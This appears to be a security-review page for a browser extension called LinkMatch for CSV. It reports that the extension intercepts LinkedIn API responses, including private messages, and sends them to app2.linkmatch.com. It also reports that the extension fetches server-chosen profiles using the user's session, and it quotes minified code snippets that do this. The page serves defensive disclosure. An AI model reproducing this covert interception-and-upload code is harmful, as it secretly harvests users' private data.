Is LinkMatch for CSV safe?
LinkMatch for CSV copies LinkedIn API responses, including private messages, to app2.linkmatch.com as you browse.
On LinkedIn pages, the extension wraps fetch and XMLHttpRequest and captures responses for profile, contact info, Sales Navigator, Recruiter and messaging endpoints. It posts them with your LinkMatch account email to app2.linkmatch.com without any save or export click. It also polls that server for LinkedIn profiles to look up, fetches them using your logged-in session, and reports the results back.
Who publishes itLogical Pure Minds SRL - 9 other listings from the same operator, 6 of them carrying a finding
Logical Pure Minds SRL - 9 other listings from the same operator, 6 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
9 other listings published from this account, 12k+ users between them. 6 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
LinkMatch uploads LinkedIn API responses you load to app2.linkmatch.com
Code analysis shows LinkedIn profile, inbox and Sales Navigator API responses are copied in the page and POSTed to app2.linkmatch.com/api/s_data with your LinkMatch email, with no save click.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You open a LinkedIn profile or your messaging inbox while signed in to LinkMatch.
The extension copies LinkedIn's own API replies and sends them to app2.linkmatch.com.
No save or export click is required in the code path.
Page-world fetch wrapper and the URL match table
Content script receives REQ_RESPONSE
content-script-bundle.js if (U9) return; U9 = !0; const e = r => { var o; if (((o = r.data) === null || o === void 0 ? void 0 : o.type) === "REQ_RESPONSE") { const s = r.data; w5e(s.url, s.response, s.request) } }; window.addEventListener("message", e, !1), window.addEventListener("beforeunload", () => { r5e(), U9 = !1 }), J_e().forEach(r => {Upload to s_data
content-script-bundle.js OY = (e, t) => { let r = `${bt.linkmatch_host2}/api/s_data`; return $0().then(o => o.caseOf({ just: s => Ja(r, { data: Ei({ user_id: s.email, data: e, type: t, s: s.s, app: bt.ats }) }, "application/json").then(E => E.caseOf({ left: w => (_i({ type: "interception_error", params: { message: "Error caching data", error: w, reqType: e.reqType } }), { success: !1 }),- LinkMatch account emailjane.doe@example.com (illustrative)
Ties the uploaded LinkedIn data to your LinkMatch account.
- LinkedIn API response{"data":{"identityDashProfilesByMemberIdentity":{...}}} (illustrative shape)
Profile, contact info, message thread or search JSON as LinkedIn returned it.
- Response typeinboxMainProfile
Which LinkedIn endpoint class the data came from.
- App labelcsv
Which LinkMatch edition sent it.
- app2.linkmatch.com
Receives LinkedIn API JSON at /api/s_data with the LinkMatch user email.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
LinkMatch fetches server-chosen LinkedIn profiles using your session
Code analysis shows the extension polls app2.linkmatch.com for profile targets, loads them from LinkedIn with your logged-in session, and reports the parsed profile back.
Targets depend on the server reply.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You open LinkedIn while signed in to LinkMatch.
The extension asks app2.linkmatch.com which profiles to load, then loads them using your LinkedIn login.
Results are sent back to the same host. This only happens if the server returns tasks.
Task pull endpoints and the fetch-and-report loop
Profile fetch for each server-supplied socialIdentifier
content-script-bundle.js const _Ae = e => { $s.worker_tasks_pull({ email: e.email }).then(t => t.caseOf({ left: r => { _i({ type: "tasks_pull_failed", params: r }) }, right: r => { Promise.all(r.map(o => e.ui_helper.get_json_person_data({ primary: o.socialIdentifier }, { inIframe: !0, lang: "en", sectionsToInclude: ["followers", "non_std_urls", "resume", "contactInfo"],Report back to the server
content-script-bundle.js } }))).then(o => o.length ? $s.worker_tasks_report(e, o.map(({ profile: s, task: E, company: w }) => ({ taskId: E.taskId, data: s.exists ? s : void 0, data_company: w != null && w.exists ? w : void 0, error: s.exists ? void 0 : { code: "NOT_FOUND_IN_LN" } }))) : Promise.resolve({})) }- Your LinkMatch email (workerId)jane.doe@example.com (illustrative)
Identifies your browser as the worker that receives tasks.
- Target LinkedIn identitysocialIdentifier from the pull reply (value set by server)
The profile the server asks your browser to load.
- Parsed profile and companyprofile_fields, data_company (illustrative)
Profile, contact info and company data read under your session.
- x-api-key header0000000000
A fixed value sent with pull and report calls.
- app2.linkmatch.com
Issues profile tasks at /worker-tasks/pull and receives results at /worker-tasks/report.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed LinkMatch for CSV contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- app2.linkmatch.com
LinkMatch for CSV sends data to app2.linkmatch.com. 6 other extensions we have analysed send data here.